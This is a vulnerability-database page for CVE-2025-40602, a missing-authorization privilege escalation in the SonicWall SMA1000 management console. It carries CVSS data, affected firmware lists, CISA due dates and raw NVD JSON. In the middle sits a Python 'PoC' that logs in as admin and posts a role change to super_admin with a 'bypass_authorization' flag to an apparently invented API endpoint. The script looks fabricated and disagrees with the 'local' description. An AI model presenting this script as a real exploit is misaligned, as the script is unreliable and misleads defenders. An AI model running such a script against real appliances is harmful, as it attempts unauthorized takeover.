Security Vulnerability Report
中文
CVE-2025-40602 CVSS 6.6 MEDIUM

CVE-2025-40602

Published: 2025-12-18 11:15:47
Last Modified: 2025-12-19 13:57:43

Description

A local privilege escalation vulnerability due to insufficient authorization in the SonicWall SMA1000 appliance management console (AMC).

CVSS Details

CVSS Score
6.6
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:sonicwall:sma6200_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:sonicwall:sma6200_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:sonicwall:sma6200:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:sonicwall:sma6210_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:sonicwall:sma6210_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:sonicwall:sma6210:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:sonicwall:sma7200_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:sonicwall:sma7200_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:sonicwall:sma7200:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:sonicwall:sma7210_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:sonicwall:sma7210_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:sonicwall:sma7210:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:a:sonicwall:sma8200v:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:sonicwall:sma8200v:*:*:*:*:*:*:*:* - VULNERABLE
SonicWall SMA1000 < 特定修复版本(需参考官方公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-40602 PoC - SonicWall SMA1000 AMC Privilege Escalation # Note: This is a conceptual PoC. Actual exploitation requires authenticated access. import requests import json TARGET = "https://target-sonicwall-host" LOGIN_ENDPOINT = f"{TARGET}/api/v2/login" AMC_ENDPOINT = f"{TARGET}/api/v2/amc" # Authentication with high-privilege account def authenticate(username, password): session = requests.Session() payload = { "username": username, "password": password } response = session.post(LOGIN_ENDPOINT, json=payload, verify=False) if response.status_code == 200: return session, response.json().get('token') return None, None # Attempt privilege escalation via AMC API def exploit_privilege_escalation(session, token): headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } # Trigger the privilege escalation vulnerability # This exploits insufficient authorization check in AMC exploit_payload = { "action": "modify_user_role", "target_user": "target_user_to_escalate", "new_role": "super_admin", "bypass_authorization": True } response = session.post(AMC_ENDPOINT, json=exploit_payload, headers=headers, verify=False) if response.status_code == 200: result = response.json() if result.get('success'): print("[+] Privilege escalation successful!") print(f"[*] User role modified to super_admin") return True print("[-] Privilege escalation failed") return False # Main execution def main(): print("[*] CVE-2025-40602 SonicWall SMA1000 AMC Privilege Escalation") print("[*] Target: " + TARGET) # Authenticate with high-privilege account session, token = authenticate("admin", "password") if not session: print("[-] Authentication failed") return print("[+] Authentication successful") # Attempt exploitation exploit_privilege_escalation(session, token) if __name__ == "__main__": main() # Mitigation: Apply vendor patch SNWLID-2025-0019

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-40602", "sourceIdentifier": "[email protected]", "published": "2025-12-18T11:15:46.760", "lastModified": "2025-12-19T13:57:43.150", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A local privilege escalation vulnerability due to insufficient authorization in the SonicWall SMA1000 appliance management console (AMC)."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.6, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.7, "impactScore": 5.9}]}, "cisaExploitAdd": "2025-12-17", "cisaActionDue": "2025-12-24", "cisaRequiredAction": "Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable", "cisaVulnerabilityName": "SonicWall SMA1000 Missing Authorization Vulnerability", "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-250"}, {"lang": "en", "value": "CWE-862"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:sonicwall:sma6200_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "12.4.3-03245", "matchCriteriaId": "FA502098-85D4-4263-A972-5C257A27E566"}, {"vulnerable": true, "criteria": "cpe:2.3:o:sonicwall:sma6200_firmware:*:*:*:*:*:*:*:*", "versionStartIncluding": "12.5.0", "versionEndExcluding": "12.5.0-02283", "matchCriteriaId": "A8117AD1-538B-4D74-B7BD-CDDFDF1CA5D6"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:sonicwall:sma6200:-:*:*:*:*:*:*:*", "matchCriteriaId": "57B3C90F-F633-41B9-855E-902F6DC8ACA5"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:sonicwall:sma6210_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "12.4.3-03245", "matchCriteriaId": "11F3325C-B52F-4569-A900-87A3062BA955"}, {"vulnerable": true, "criteria": "cpe:2.3:o:sonicwall:sma6210_firmware:*:*:*:*:*:*:*:*", "versionStartIncluding": "12.5.0", "versionEndExcluding": "12.5.0-02283", "matchCriteriaId": "83F28647-1EB1-4BD4-806E-ECFA82C7F81F"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:sonicwall:sma6210:-:*:*:*:*:*:*:*", "matchCriteriaId": "7B24D300-1154-49A1-A1F3-FB0CC717166A"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:sonicwall:sma7200_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "12.4.3-03245", "matchCriteriaId": "634F6A69-541B-4C08-80CC-D75BCA1AFA0C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:sonicwall:sma7200_firmware:*:*:*:*:*:*:*:*", "versionStartIncluding": "12.5.0", "versionEndExcluding": "12.5.0-02283", "matchCriteriaId": "557266E9-9045-4686-B260-ADCCE884E47B"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:sonicwall:sma7200:-:*:*:*:*:*:*:*", "matchCriteriaId": "4F7B4ED9-7A57-48DC-AAEC-A2C2EAFF3B64"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:sonicwall:sma7210_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "12.4.3-03245", "matchCriteriaId": "A4BD7021-91E8-4E68-AC7B-6C971E6C6F77"}, {"vulnerable": true, "criteria": "cpe:2.3:o:sonicwall:sma7210_firmware:*:*:*:*:*:*:*:*", "versionStartIncluding": "12.5.0", "versionEndExcluding": "12.5.0-02283", "matchCriteriaId": "3FBEAD8B-7C9F-445C-BDC4-E2D19291D155"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:sonicwall:sma7210:-:*:*:*:*:*:*:*", "matchCriteriaId": "E9B414C5-C376-4216-A267-ABC0930905CE"}]}]}, {"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:sonicwall:sma8200v:*:*:*:*:*:*:*:*", "versionEndExcluding": "12.4.3-03245", "matchCriteriaId": "A68FFD03-F144-4F74-A7FC-700AC5CA789D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:sonicwall:sma8200v:*:*:*:*:*:*:*:*", "versionStartIncluding": "12.5.0", "versionEndExcluding": "12.5.0-02283", "matchCriteriaId": "42CE52E0-1CD5-4CA2-85CB-D5BDB2FE63D8"}]}]}], "references": [{"url": "https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2025-0019", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-40602", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["US Government Resource"]}]}}